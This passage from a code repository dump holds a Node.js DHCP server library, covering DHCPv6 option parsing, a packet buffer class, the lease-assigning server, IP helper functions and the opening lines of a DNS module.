DUIDType, 186 | hardwareType: msg.readUInt16BE(offset + 3), 187 | time: msg.readUInt32BE(offset + 5), 188 | linkLayerAddress: readAddressRaw(msg, offset + 9, optionLen - 8) 189 | }; 190 | case 2: 191 | return { 192 | buffer: iBuf, 193 | DUIDType: DUIDType, 194 | enterpriseNumber: void 0, 195 | enterpriseNumberContd: void 0, 196 | identifier: void 0 197 | }; 198 | case 3: 199 | return { 200 | buffer: iBuf, 201 | DUIDType: DUIDType, 202 | hardwareType: msg.readUInt16BE(offset + 3), 203 | linkLayerAddress: readAddressRaw(msg, offset + 5, optionLen - 4) 204 | }; 205 | } 206 | })(); 207 | offset += optionLen; 208 | break; 209 | case 3: 210 | options.IA_NA = { 211 | IAID: msg.readUInt32BE(offset + 1), 212 | T1: msg.readUInt32BE(offset + 5), 213 | T2: msg.readUInt32BE(offset + 9) 214 | }; 215 | offset += optionLen; 216 | break; 217 | case 6: 218 | options.request = []; 219 | options.requestDesc = []; 220 | i6 = 1; 221 | while (i6 < optionLen) { 222 | num = msg.readUInt16BE(offset + i6); 223 | prot = protocol.DHCPv6OptionsCode.get(num); 224 | if (prot && prot.name) { 225 | options.requestDesc.push(prot.name); 226 | } 227 | options.request.push(num); 228 | i6 = i6 + 2; 229 | } 230 | offset += optionLen; 231 | break; 232 | case 8: 233 | options.elapsedTime = msg.readUInt16BE(offset + 1); 234 | offset += optionLen; 235 | break; 236 | case 9: 237 | relayBuf = new Buffer(optionLen); 238 | msg.copy(relayBuf, 0, offset + 1, offset + 1 + optionLen); 239 | options.dhcpRelayMessage = parser6.parse(relayBuf, rinfo); 240 | offset += optionLen; 241 | break; 242 | case 18: 243 | interfaceID = new Buffer(optionLen); 244 | msg.copy(interfaceID, 0, offset + 1, offset + 1 + optionLen); 245 | options.interfaceID = { 246 | hex: msg.toString('hex', offset + 1, offset + 1 + optionLen), 247 | buffer: interfaceID 248 | }; 249 | offset += optionLen; 250 | break; 251 | case 25: 252 | options.IA_PD = { 253 | IAID: msg.readUInt32BE(offset + 1), 254 | T1: msg.readUInt32BE(offset + 5), 255 | T2: msg.readUInt32BE(offset + 9) 256 | }; 257 | offset += optionLen; 258 | break; 259 | case 37: 260 | options.relayAgentRemoteID = { 261 | enterpriseNumber: msg.readUInt32BE(offset + 1), 262 | remoteId: msg.toString('hex', offset + 5, offset + 1 + optionLen) 263 | }; 264 | offset += optionLen; 265 | break; 266 | case 39: 267 | options.clientFQDN = { 268 | flags: msg.readUInt8(offset + 1), 269 | domainName: msg.toString('utf8', offset + 2, offset + 1 + optionLen) 270 | }; 271 | offset += optionLen; 272 | break; 273 | default: 274 | codeName = DHCPV6.OPTIONSCODE[optionCode]; 275 | console.log('Unhandled DHCPv6 option ' + optionCode + ' (' + codeName + ')/' + optionLen + 'b'); 276 | offset += optionLen; 277 | break; 278 | } 279 | } 280 | return options; 281 | } 282 | }; 283 | -------------------------------------------------------------------------------- /dist/dhcp/seqbuffer.js: -------------------------------------------------------------------------------- 1 | var SeqBuffer, opts, trimZero, 2 | hasProp = {}.hasOwnProperty; 3 | 4 | opts = require('./options').opts; 5 | 6 | trimZero = function(str) { 7 | var pos; 8 | pos = str.indexOf('\u0000'); 9 | if (pos === -1) { 10 | return str; 11 | } else { 12 | return str.substr(0, pos); 13 | } 14 | }; 15 | 16 | SeqBuffer = (function() { 17 | function SeqBuffer(buf, len) { 18 | this._data = buf || Buffer.alloc(len || 1500); 19 | } 20 | 21 | SeqBuffer.prototype._data = null; 22 | 23 | SeqBuffer.prototype._r = 0; 24 | 25 | SeqBuffer.prototype._w = 0; 26 | 27 | SeqBuffer.prototype.addUInt8 = function(val) { 28 | return this._w = this._data.writeUInt8(val, this._w, true); 29 | }; 30 | 31 | SeqBuffer.prototype.getUInt8 = function() { 32 | return this._data.readUInt8(this._r++, true); 33 | }; 34 | 35 | SeqBuffer.prototype.addInt8 = function(val) { 36 | return this._w = this._data.writeInt8(val, this._w, true); 37 | }; 38 | 39 | SeqBuffer.prototype.getInt8 = function() { 40 | return this._data.readInt8(this._r++, true); 41 | }; 42 | 43 | SeqBuffer.prototype.addUInt16 = function(val) { 44 | return this._w = this._data.writeUInt16BE(val, this._w, true); 45 | }; 46 | 47 | SeqBuffer.prototype.getUInt16 = function() { 48 | return this._data.readUInt16BE((this._r += 2) - 2, true); 49 | }; 50 | 51 | SeqBuffer.prototype.addInt16 = function(val) { 52 | return this._w = this._data.writeInt16BE(val, this._w, true); 53 | }; 54 | 55 | SeqBuffer.prototype.getInt16 = function() { 56 | return this._data.readInt16BE((this._r += 2) - 2, true); 57 | }; 58 | 59 | SeqBuffer.prototype.addUInt32 = function(val) { 60 | return this._w = this._data.writeUInt32BE(val, this._w, true); 61 | }; 62 | 63 | SeqBuffer.prototype.getUInt32 = function() { 64 | return this._data.readUInt32BE((this._r += 4) - 4, true); 65 | }; 66 | 67 | SeqBuffer.prototype.addInt32 = function(val) { 68 | return this._w = this._data.writeInt32BE(val, this._w, true); 69 | }; 70 | 71 | SeqBuffer.prototype.getInt32 = function() { 72 | return this._data.readInt32BE((this._r += 4) - 4, true); 73 | }; 74 | 75 | SeqBuffer.prototype.addUTF8 = function(val) { 76 | return this._w += this._data.write(val, this._w, 'utf8'); 77 | }; 78 | 79 | SeqBuffer.prototype.addUTF8Pad = function(val, fixLen) { 80 | var len, n; 81 | len = Buffer.from(val, 'utf8').length; 82 | n = 0; 83 | while (len > fixLen) { 84 | val = val.slice(0, fixLen - n); 85 | len = Buffer.from(val, 'utf8').length; 86 | n++; 87 | } 88 | this._data.fill(0, this._w, this._w + fixLen); 89 | this._data.write(val, this._w, 'utf8'); 90 | return this._w += fixLen; 91 | }; 92 | 93 | SeqBuffer.prototype.getUTF8 = function(len) { 94 | return trimZero(this._data.toString('utf8', this._r, this._r += len)); 95 | }; 96 | 97 | SeqBuffer.prototype.addASCII = function(val) { 98 | return this._w += this._data.write(val, this._w, 'ascii'); 99 | }; 100 | 101 | SeqBuffer.prototype.addASCIIPad = function(val, fixLen) { 102 | this._data.fill(0, this._w, this._w + fixLen); 103 | this._data.write(val.slice(0, fixLen), this._w, 'ascii'); 104 | return this._w += fixLen; 105 | }; 106 | 107 | SeqBuffer.prototype.getASCII = function(len) { 108 | return trimZero(this._data.toString('ascii', this._r, this._r += len)); 109 | }; 110 | 111 | SeqBuffer.prototype.addIP = function(ip) { 112 | var j, len1, octs, results, val; 113 | if (typeof ip !== 'string') { 114 | return; 115 | } 116 | octs = ip.split('.'); 117 | if (octs.length !== 4) { 118 | throw new Error('Invalid IP address ' + ip); 119 | } 120 | results = []; 121 | for (j = 0, len1 = octs.length; j < len1; j++) { 122 | val = octs[j]; 123 | val = parseInt(val, 10); 124 | if (0 <= val && val < 256) { 125 | results.push(this.addUInt8(val)); 126 | } else { 127 | throw new Error('Invalid IP address ' + ip); 128 | } 129 | } 130 | return results; 131 | }; 132 | 133 | SeqBuffer.prototype.getIP = function() { 134 | return this.getUInt8() + '.' + this.getUInt8() + '.' + this.getUInt8() + '.' + this.getUInt8(); 135 | }; 136 | 137 | SeqBuffer.prototype.addIPs = function(ips) { 138 | var ip, j, len1, results; 139 | if (ips instanceof Array) { 140 | results = []; 141 | for (j = 0, len1 = ips.length; j < len1; j++) { 142 | ip = ips[j]; 143 | results.push(this.addIP(ip)); 144 | } 145 | return results; 146 | } else { 147 | return this.addIP(ips); 148 | } 149 | }; 150 | 151 | SeqBuffer.prototype.getIPs = function(len) { 152 | var i, ret; 153 | ret = []; 154 | i = 0; 155 | while (i < len) { 156 | ret.push(this.getIP()); 157 | i += 4; 158 | } 159 | return ret; 160 | }; 161 | 162 | SeqBuffer.prototype.addHex = function(val, fixLen) { 163 | if (fixLen) { 164 | this._data.fill(0, this._w, this._w + fixLen); 165 | this._data.write(val.slice(0, fixLen), this._w, 'hex'); 166 | return this._w += fixLen; 167 | } else { 168 | return this._w += this._data.write(val, this._w, 'hex'); 169 | } 170 | }; 171 | 172 | SeqBuffer.prototype.getHEX = function(hlen) { 173 | return this._data.toString('hex', this._r, this._r += hlen); 174 | }; 175 | 176 | SeqBuffer.prototype.addMac = function(mac) { 177 | var j, len1, octs, val; 178 | octs = mac.split(/[-:]/); 179 | if (octs.length !== 6) { 180 | throw new Error('Invalid Mac address ' + mac); 181 | } 182 | for (j = 0, len1 = octs.length; j < len1; j++) { 183 | val = octs[j]; 184 | val = parseInt(val, 16); 185 | if (0 <= val && val < 256) { 186 | this.addUInt8(val); 187 | } else { 188 | throw new Error('Invalid Mac address ' + mac); 189 | } 190 | } 191 | this.addUInt32(0); 192 | this.addUInt32(0); 193 | return this.addUInt16(0); 194 | }; 195 | 196 | SeqBuffer.prototype.getMAC = function(htype, hlen) { 197 | var mac; 198 | mac = this._data.toString('hex', this._r, this._r += hlen); 199 | if (htype !== 1 || hlen !== 6) { 200 | throw new Error("Invalid hardware address (len=" + hlen + ", type=" + htype + ")"); 201 | } 202 | this._r += 10; 203 | return mac.toUpperCase().match(/../g).join('-'); 204 | }; 205 | 206 | SeqBuffer.prototype.addBool = function() {}; 207 | 208 | SeqBuffer.prototype.getBool = function() { 209 | return true; 210 | }; 211 | 212 | SeqBuffer.prototype.addOptions = function(ops) { 213 | var i, len, n, opt, results, val; 214 | results = []; 215 | for (i in ops) { 216 | if (!hasProp.call(ops, i)) continue; 217 | val = ops[i]; 218 | opt = opts[i]; 219 | len = 0; 220 | if (val === null) { 221 | i += 4; 222 | continue; 223 | } 224 | switch (opt.type) { 225 | case 'UInt8': 226 | case 'Int8': 227 | len = 1; 228 | break; 229 | case 'UInt16': 230 | case 'Int16': 231 | len = 2; 232 | break; 233 | case 'UInt32': 234 | case 'Int32': 235 | case 'IP': 236 | len = 4; 237 | break; 238 | case 'IPs': 239 | len = val instanceof Array ? 4 * val.length : 4; 240 | break; 241 | case 'ASCII': 242 | len = val.length; 243 | if (len === 0) { 244 | i += 4; 245 | continue; 246 | } 247 | if (len > 255) { 248 | console.error(val + ' too long, truncating...'); 249 | val = val.slice(0, 255); 250 | len = 255; 251 | } 252 | break; 253 | case 'HEX': 254 | len = val.length; 255 | if (len === 0) { 256 | continue; 257 | } 258 | if (len > 255) { 259 | console.error(val + ' too long, truncating...'); 260 | val = val.slice(0, 255); 261 | len = 255; 262 | } 263 | break; 264 | case 'UTF8': 265 | len = Buffer.from(val, 'utf8').length; 266 | if (len === 0) { 267 | i += 4; 268 | continue; 269 | } 270 | n = 0; 271 | while (len > 255) { 272 | val = val.slice(0, 255 - n); 273 | len = Buffer.from(val, 'utf8').length; 274 | n++; 275 | } 276 | break; 277 | case 'Bool': 278 | if (!(val === true || val === 1 || val === '1' || val === 'true' || val === 'TRUE' || val === 'True')) { 279 | n++; 280 | continue; 281 | } 282 | break; 283 | case 'UInt8s': 284 | len = val instanceof Array ? val.length : 1; 285 | break; 286 | case 'UInt16s': 287 | len = val instanceof Array ? 2 * val.length : 2; 288 | break; 289 | default: 290 | throw new Error('No such type ' + opt.type); 291 | } 292 | this.addUInt8(i); 293 | this.addUInt8(len); 294 | results.push(this['add' + opt.type](val)); 295 | } 296 | return results; 297 | }; 298 | 299 | SeqBuffer.prototype.getOptions = function() { 300 | var buf, len, opt, options; 301 | options = {}; 302 | buf = this._data; 303 | while (this._r < buf.length) { 304 | opt = this.getUInt8(); 305 | if (opt === 0xff) { 306 | break; 307 | } else if (opt === 0x00) { 308 | this._r++; 309 | } else { 310 | len = this.getUInt8(); 311 | if (opt in opts) { 312 | options[opt] = this['get' + opts[opt].type](len); 313 | } else { 314 | this._r += len; 315 | console.error("Option " + opt + " not known"); 316 | } 317 | } 318 | } 319 | return options; 320 | }; 321 | 322 | SeqBuffer.prototype.addUInt8s = function(arr) { 323 | var i, results; 324 | if (arr instanceof Array) { 325 | i = 0; 326 | results = []; 327 | while (i < arr.length) { 328 | this.addUInt8(arr[i]); 329 | results.push(i++); 330 | } 331 | return results; 332 | } else { 333 | return this.addUInt8(arr); 334 | } 335 | }; 336 | 337 | SeqBuffer.prototype.getUInt8s = function(len) { 338 | var i, ret; 339 | ret = []; 340 | i = 0; 341 | while (i < len) { 342 | ret.push(this.getUInt8()); 343 | i++; 344 | } 345 | return ret; 346 | }; 347 | 348 | SeqBuffer.prototype.addUInt16s = function(arr) { 349 | var i, results; 350 | if (arr instanceof Array) { 351 | i = 0; 352 | results = []; 353 | while (i < arr.length) { 354 | this.addUInt16(arr[i]); 355 | results.push(i++); 356 | } 357 | return results; 358 | } else { 359 | return this.addUInt16(arr); 360 | } 361 | }; 362 | 363 | SeqBuffer.prototype.getUInt16s = function(len) { 364 | var i, ret; 365 | ret = []; 366 | i = 0; 367 | while (i < len) { 368 | ret.push(this.getUInt16()); 369 | i += 2; 370 | } 371 | return ret; 372 | }; 373 | 374 | SeqBuffer.prototype.getHex = function(len) { 375 | return this._data.toString('hex', this._r, this._r += len); 376 | }; 377 | 378 | return SeqBuffer; 379 | 380 | })(); 381 | 382 | module.exports = SeqBuffer; 383 | -------------------------------------------------------------------------------- /dist/dhcp/server.js: -------------------------------------------------------------------------------- 1 | var BOOTREPLY, BOOTREQUEST, CLIENT_PORT, DHCPACK, DHCPDECLINE, DHCPDISCOVER, DHCPINFORM, DHCPNAK, DHCPOFFER, DHCPRELEASE, DHCPREQUEST, DHCPV6, EventEmitter, INADDR_ANY, INADDR_BROADCAST, Ips, Lease, Options, Protocol, SERVER_PORT, SeqBuffer, Server, Tools, dgram, os, ref, 2 | extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, 3 | hasProp = {}.hasOwnProperty, 4 | indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }; 5 | 6 | dgram = require('dgram'); 7 | 8 | os = require('os'); 9 | 10 | EventEmitter = require('events').EventEmitter; 11 | 12 | Lease = require('./lease'); 13 | 14 | SeqBuffer = require('./seqbuffer'); 15 | 16 | Options = require('./options'); 17 | 18 | Protocol = require('./protocol'); 19 | 20 | Tools = require('./tools'); 21 | 22 | Ips = require('../ips'); 23 | 24 | ref = require('./constants'), DHCPDISCOVER = ref.DHCPDISCOVER, DHCPOFFER = ref.DHCPOFFER, DHCPREQUEST = ref.DHCPREQUEST, DHCPDECLINE = ref.DHCPDECLINE, DHCPACK = ref.DHCPACK, DHCPNAK = ref.DHCPNAK, DHCPRELEASE = ref.DHCPRELEASE, DHCPINFORM = ref.DHCPINFORM, SERVER_PORT = ref.SERVER_PORT, CLIENT_PORT = ref.CLIENT_PORT, INADDR_ANY = ref.INADDR_ANY, INADDR_BROADCAST = ref.INADDR_BROADCAST, BOOTREQUEST = ref.BOOTREQUEST, BOOTREPLY = ref.BOOTREPLY, DHCPV6 = ref.DHCPV6; 25 | 26 | Server = (function(superClass) { 27 | extend(Server, superClass); 28 | 29 | Server.createServer = function(opt) { 30 | return new Server(opt); 31 | }; 32 | 33 | function Server(config) { 34 | var sock, sock6; 35 | Server.__super__.constructor.call(this); 36 | sock = dgram.createSocket({ 37 | type: 'udp4', 38 | reuseAddr: true 39 | }); 40 | sock.on('message', this.ipv4Message.bind(this)); 41 | sock.on('listening', (function(_this) { 42 | return function() { 43 | return _this.emit('listening', sock, ''); 44 | }; 45 | })(this)); 46 | sock.on('close', (function(_this) { 47 | return function() { 48 | return _this.emit('close'); 49 | }; 50 | })(this)); 51 | sock6 = dgram.createSocket({ 52 | type: 'udp6', 53 | reuseAddr: true 54 | }); 55 | sock6.on('message', this.ipv6Message.bind(this)); 56 | sock6.on('listening', (function(_this) { 57 | return function() { 58 | return _this.emit('listening', sock6, 'v6'); 59 | }; 60 | })(this)); 61 | sock6.on('close', (function(_this) { 62 | return function() { 63 | return _this.emit('close'); 64 | }; 65 | })(this)); 66 | this._sock6 = sock6; 67 | this._sock = sock; 68 | this._conf = config; 69 | this._state = {}; 70 | } 71 | 72 | Server.prototype.ipv4Message = function(buf) { 73 | var e, req; 74 | try { 75 | req = Protocol.parse(buf); 76 | } catch (error) { 77 | e = error; 78 | this.emit('error', e); 79 | return; 80 | } 81 | this.emit('message', req); 82 | if (req.op !== BOOTREQUEST) { 83 | this.emit('error', new Error('Malformed packet'), req); 84 | return; 85 | } 86 | if (!req.options[53]) { 87 | return this.handleRequest(req); 88 | } 89 | switch (req.options[53]) { 90 | case DHCPDISCOVER: 91 | return this.handleDiscover(req); 92 | case DHCPREQUEST: 93 | return this.handleRequest(req); 94 | } 95 | }; 96 | 97 | Server.prototype.ipv6Message = function(buf, rinfo) { 98 | var e, req; 99 | try { 100 | req = Protocol.parseIpv6(buf); 101 | } catch (error) { 102 | e = error; 103 | this.emit('error', e); 104 | return; 105 | } 106 | this.emit('message', req); 107 | return this.emit(DHCPV6.MESSAGETYPE[req.op], req, rinfo); 108 | }; 109 | 110 | Server.prototype.config = function(key) { 111 | var i, optId, ref1, v, val, values; 112 | optId = Options.conf[key]; 113 | if (void 0 !== this._conf[key]) { 114 | val = this._conf[key]; 115 | } else if (void 0 !== Options.opts[optId]) { 116 | val = Options.opts[optId]["default"]; 117 | if (val === void 0) { 118 | return 0; 119 | } 120 | } else { 121 | throw new Error('Invalid option ' + key); 122 | } 123 | if (val instanceof Function) { 124 | val = val.call(this); 125 | } 126 | values = (ref1 = Options.opts[optId]) != null ? ref1["enum"] : void 0; 127 | if ((key !== 'range' && key !== 'static' && key !== 'randomIP') && values) { 128 | for (i in values) { 129 | v = values[i]; 130 | if (v === val) { 131 | return parseInt(i, 10); 132 | } 133 | } 134 | if (values[val] === void 0) { 135 | throw new Error('Provided enum value for ' + key + ' is not valid'); 136 | } else { 137 | val = parseInt(val, 10); 138 | } 139 | } 140 | return val; 141 | }; 142 | 143 | Server.prototype._getOptions = function(pre, required, requested) { 144 | var forceOptions, id, j, k, l, len, len1, len2, option, req, val; 145 | for (j = 0, len = required.length; j < len; j++) { 146 | req = required[j]; 147 | if (Options.opts[req] !== void 0) { 148 | if (pre[req] == null) { 149 | pre[req] = this.config(Options.opts[req].config); 150 | } 151 | if (!pre[req]) { 152 | throw new Error("Required option " + Options.opts[req].config + " does not have a value set"); 153 | } 154 | } else { 155 | this.emit('error', 'Unknown option ' + req); 156 | } 157 | } 158 | if (requested) { 159 | for (k = 0, len1 = requested.length; k < len1; k++) { 160 | req = requested[k]; 161 | if (Options.opts[req] !== void 0 && pre[req] === void 0) { 162 | val = this.config(Options.opts[req].config); 163 | if (val) { 164 | pre[req] = val; 165 | } 166 | } else { 167 | this.emit('error', 'Unknown option ' + req); 168 | } 169 | } 170 | } 171 | forceOptions = this._conf.forceOptions; 172 | if (Array.isArray(forceOptions)) { 173 | for (l = 0, len2 = forceOptions.length; l < len2; l++) { 174 | option = forceOptions[l]; 175 | if (isNaN(option)) { 176 | id = Options.conf[option]; 177 | } else { 178 | id = option; 179 | } 180 | if ((id != null) && pre[id] === void 0) { 181 | pre[id] = this.config(option); 182 | } 183 | } 184 | } 185 | return pre; 186 | }; 187 | 188 | Server.prototype._selectAddress = function(clientMAC, req) { 189 | var _static, _tmp, firstIP, i, ip, ips, lastIP, leases, mac, oldestMac, oldestTime, randIP, ref1, ref2, staticResult, v; 190 | if ((ref1 = this._state[clientMAC]) != null ? ref1.address : void 0) { 191 | return this._state[clientMAC].address; 192 | } 193 | _static = this.config('static'); 194 | if (typeof _static === 'function') { 195 | staticResult = _static(clientMAC, req); 196 | if (staticResult) { 197 | return staticResult; 198 | } 199 | } else if (_static[clientMAC]) { 200 | return _static[clientMAC]; 201 | } 202 | randIP = this.config('randomIP'); 203 | _tmp = this.config('range'); 204 | firstIP = Tools.parseIp(_tmp[0]); 205 | lastIP = Tools.parseIp(_tmp[1]); 206 | ips = [this.config('server')]; 207 | oldestMac = null; 208 | oldestTime = 2e308; 209 | leases = 0; 210 | ref2 = this._state; 211 | for (mac in ref2) { 212 | v = ref2[mac]; 213 | if (v.address) { 214 | ips.push(v.address); 215 | } 216 | if (v.leaseTime < oldestTime) { 217 | oldestTime = v.leaseTime; 218 | oldestMac = mac; 219 | } 220 | leases++; 221 | } 222 | if (oldestMac && lastIP - firstIP === leases) { 223 | ip = this._state[oldestMac].address; 224 | delete this._state[oldestMac]; 225 | return ip; 226 | } 227 | if (randIP) { 228 | while (true) { 229 | ip = Tools.formatIp(firstIP + Math.random() * (lastIP - firstIP) | 0); 230 | if (ips.indexOf(ip) === -1) { 231 | return ip; 232 | } 233 | } 234 | } 235 | i = firstIP; 236 | while (i <= lastIP) { 237 | ip = Tools.formatIp(i); 238 | if (indexOf.call(ips, ip) < 0) { 239 | return ip; 240 | } 241 | i++; 242 | } 243 | }; 244 | 245 | Server.prototype.handleDiscover = function(req) { 246 | var lease; 247 | lease = this._state[req.chaddr] = this._state[req.chaddr] || new Lease; 248 | lease.address = this._selectAddress(req.chaddr, req); 249 | lease.leasePeriod = this.config('leaseTime'); 250 | lease.server = this.config('server'); 251 | lease.state = 'OFFERED'; 252 | console.log('>>> DISCOVER', JSON.stringify(lease)); 253 | return this.sendOffer(req); 254 | }; 255 | 256 | Server.prototype.sendOffer = function(req) { 257 | var ans; 258 | if (req.options[97] && req.options[55].indexOf(97) === -1) { 259 | req.options[55].push(97); 260 | } 261 | if (req.options[60] && req.options[60].indexOf('PXEClient') === 0) { 262 | [66, 67].forEach(function(opt) { 263 | if (req.options[55].indexOf(opt) === -1) { 264 | return req.options[55].push(opt); 265 | } 266 | }); 267 | } 268 | ans = { 269 | op: BOOTREPLY, 270 | htype: 1, 271 | hlen: 6, 272 | hops: 0, 273 | xid: req.xid, 274 | secs: 0, 275 | flags: req.flags, 276 | ciaddr: INADDR_ANY, 277 | yiaddr: this._selectAddress(req.chaddr), 278 | siaddr: this.config('server'), 279 | giaddr: req.giaddr, 280 | chaddr: req.chaddr, 281 | sname: '', 282 | file: '', 283 | options: this._getOptions({ 284 | 53: DHCPOFFER 285 | }, [1, 3, 51, 54, 6], req.options[55]) 286 | }; 287 | console.log('<<< OFFER', JSON.stringify(ans)); 288 | return this._send(this.config('broadcast'), ans); 289 | }; 290 | 291 | Server.prototype.handleRequest = function(req) { 292 | var lease; 293 | lease = this._state[req.chaddr] = this._state[req.chaddr] || new Lease; 294 | lease.address = this._selectAddress(req.chaddr); 295 | lease.leasePeriod = this.config('leaseTime'); 296 | lease.server = this.config('server'); 297 | lease.state = 'BOUND'; 298 | lease.bindTime = new Date; 299 | lease.file = req.file; 300 | console.log('>>> REQUEST', JSON.stringify(lease)); 301 | return this.sendAck(req); 302 | }; 303 | 304 | Server.prototype.sendAck = function(req) { 305 | var ans, options; 306 | if (req.options[97] && req.options[55].indexOf(97) === -1) { 307 | req.options[55].push(97); 308 | } 309 | if (req.options[60] && req.options[60].indexOf('PXEClient') === 0) { 310 | [66, 67].forEach(function(opt) { 311 | if (req.options[55].indexOf(opt) === -1) { 312 | return req.options[55].push(opt); 313 | } 314 | }); 315 | } 316 | options = this._getOptions({ 317 | 53: DHCPACK 318 | }, [1, 3, 51, 54, 6], req.options[55]); 319 | ans = { 320 | op: BOOTREPLY, 321 | htype: 1, 322 | hlen: 6, 323 | hops: 0, 324 | xid: req.xid, 325 | secs: 0, 326 | flags: req.flags, 327 | ciaddr: req.ciaddr, 328 | yiaddr: this._selectAddress(req.chaddr), 329 | siaddr: this.config('server'), 330 | giaddr: req.giaddr, 331 | chaddr: req.chaddr, 332 | sname: '', 333 | file: req.file, 334 | options: options 335 | }; 336 | return this._send(this.config('broadcast'), ans, (function(_this) { 337 | return function() { 338 | return _this.emit('bound', _this._state, ans); 339 | }; 340 | })(this)); 341 | }; 342 | 343 | Server.prototype.sendNak = function(req) { 344 | var ans; 345 | ans = { 346 | op: BOOTREPLY, 347 | htype: 1, 348 | hlen: 6, 349 | hops: 0, 350 | xid: req.xid, 351 | secs: 0, 352 | flags: req.flags, 353 | ciaddr: INADDR_ANY, 354 | yiaddr: INADDR_ANY, 355 | siaddr: INADDR_ANY, 356 | giaddr: req.giaddr, 357 | chaddr: req.chaddr, 358 | sname: '', 359 | file: '', 360 | options: this._getOptions({ 361 | 53: DHCPNAK 362 | }, [54]) 363 | }; 364 | console.log('<<< NAK', JSON.stringify(ans)); 365 | return this._send(this.config('broadcast'), ans); 366 | }; 367 | 368 | Server.prototype.handleRelease = function() {}; 369 | 370 | Server.prototype.handleRenew = function() {}; 371 | 372 | Server.prototype.listen = function(port, host, fn) { 373 | var connacks, ip, onConnect; 374 | if (fn == null) { 375 | fn = function() {}; 376 | } 377 | ip = Ips().find(function(arg) { 378 | var family; 379 | family = arg.family; 380 | return family === 'IPv6'; 381 | }); 382 | connacks = Number(!!ip); 383 | onConnect = function() { 384 | connacks++; 385 | if (connacks === 2) { 386 | return process.nextTick(fn); 387 | } 388 | }; 389 | this._sock.bind(port || SERVER_PORT, host || INADDR_ANY, (function(_this) { 390 | return function() { 391 | _this._sock.setBroadcast(true); 392 | return onConnect(); 393 | }; 394 | })(this)); 395 | if (ip) { 396 | this._sock6.bind(547, '::', (function(_this) { 397 | return function() { 398 | var e; 399 | _this._sock6.setBroadcast(true); 400 | try { 401 | _this._sock6.addMembership('ff02::1', ip.address); 402 | } catch (error) { 403 | e = error; 404 | } 405 | return onConnect(); 406 | }; 407 | })(this)); 408 | } 409 | return this; 410 | }; 411 | 412 | Server.prototype.close = function(callback) { 413 | var connacks, onClose; 414 | connacks = 0; 415 | onClose = function() { 416 | connacks++; 417 | if (connacks === 2) { 418 | return callback(); 419 | } 420 | }; 421 | this._sock.close(onClose); 422 | return this._sock6.close(onClose); 423 | }; 424 | 425 | Server.prototype._send = function(host, data, cb) { 426 | var sb; 427 | if (cb == null) { 428 | cb = function() {}; 429 | } 430 | sb = Protocol.format(data); 431 | return this._sock.send(sb._data, 0, sb._w, CLIENT_PORT, host, function(err, bytes) { 432 | if (err) { 433 | console.log(err); 434 | } 435 | return cb(err, bytes); 436 | }); 437 | }; 438 | 439 | return Server; 440 | 441 | })(EventEmitter); 442 | 443 | module.exports = Server; 444 | -------------------------------------------------------------------------------- /dist/dhcp/tools.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | parseIp: function(str) { 3 | var octs; 4 | octs = str.split('.'); 5 | if (octs.length !== 4) { 6 | throw new Error('Invalid IP address ' + str); 7 | } 8 | return octs.reduce(function(prev, val) { 9 | val = parseInt(val, 10); 10 | if (0 <= val && val < 256) { 11 | return prev << 8 | val; 12 | } else { 13 | throw new Error('Invalid IP address ' + str); 14 | } 15 | }, 0); 16 | }, 17 | formatIp: function(num) { 18 | var i, ip; 19 | ip = ''; 20 | i = 24; 21 | while (i >= 0) { 22 | if (ip) { 23 | ip += '.'; 24 | } 25 | ip += (num >>> i & 0xFF).toString(10); 26 | i -= 8; 27 | } 28 | return ip; 29 | }, 30 | netmaskFromCIDR: function(cidr) { 31 | return -1 << 32 - cidr; 32 | }, 33 | netmaskFromIP: function(ip) { 34 | var first; 35 | if (typeof ip === 'string') { 36 | ip = this.parseIp(ip); 37 | } 38 | first = ip >>> 24; 39 | if (first <= 127) { 40 | return 0xff000000; 41 | } else if (first >= 192) { 42 | return 0xffffff00; 43 | } else { 44 | return 0xffff0000; 45 | } 46 | }, 47 | wildcardFromCIDR: function(cidr) { 48 | return ~this.netmaskFromCIDR(cidr); 49 | }, 50 | networkFromIpCIDR: function(ip, cidr) { 51 | if (typeof ip === 'string') { 52 | ip = this.parseIp(ip); 53 | } 54 | return this.netmaskFromCIDR(cidr) & ip; 55 | }, 56 | broadcastFromIpCIDR: function(ip, cidr) { 57 | if (typeof ip === 'string') { 58 | ip = this.parseIp(ip); 59 | } 60 | return this.networkFromIpCIDR(ip, cidr) | this.wildcardFromCIDR(cidr); 61 | }, 62 | CIDRFromNetmask: function(net) { 63 | var d, i, s, t, wild; 64 | if (typeof net === 'string') { 65 | net = this.parseIp(net); 66 | } 67 | s = 0; 68 | d = 0; 69 | t = net & 1; 70 | wild = t; 71 | i = 0; 72 | while (i < 32) { 73 | d += t ^ net & 1; 74 | t = net & 1; 75 | net >>>= 1; 76 | s += t; 77 | i++; 78 | } 79 | if (d !== 1) { 80 | throw new Error('Invalid Netmask ' + net); 81 | } 82 | if (wild) { 83 | s = 32 - s; 84 | } 85 | return s; 86 | }, 87 | gatewayFromIpCIDR: function(ip, cidr) { 88 | if (typeof ip === 'string') { 89 | ip = this.parseIp(ip); 90 | } 91 | if (cidr === 32) { 92 | return ip; 93 | } 94 | return this.networkFromIpCIDR(ip, cidr) + 1; 95 | }, 96 | netmaskFromRange: function(ip1, ip2) { 97 | var cidr; 98 | if (typeof ip1 === 'string') { 99 | ip1 = this.parseIp(ip1); 100 | } 101 | if (typeof ip2 === 'string') { 102 | ip2 = this.parseIp(ip2); 103 | } 104 | cidr = 32 - Math.floor(Math.log2((ip1 ^ ip2 - 1) + 2)) - 1; 105 | return this.netmaskFromCIDR(cidr); 106 | } 107 | }; 108 | -------------------------------------------------------------------------------- /dist/dns.js: -------------------------------------------------------------------------------- 1 | var EventEmitter, Server, bitSlice, bufferify, bufferifyV4, bufferifyV6, createSocket, dns, domainify, functionify, isIPv6, lookup, parse, qnameify, resolve, response, responseBuffer, 2 | extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, 3 | hasProp = {}.hasOwnProperty; 4 | 5 | EventEmitter = require`events`.EventEmitter; 6 | 7 | createSocket = require('dgram').createSocket; 8 | 9 | isIPv6 = require('net').isIPv6; 10 | 11 | dns = require('dns'); 12 | 13 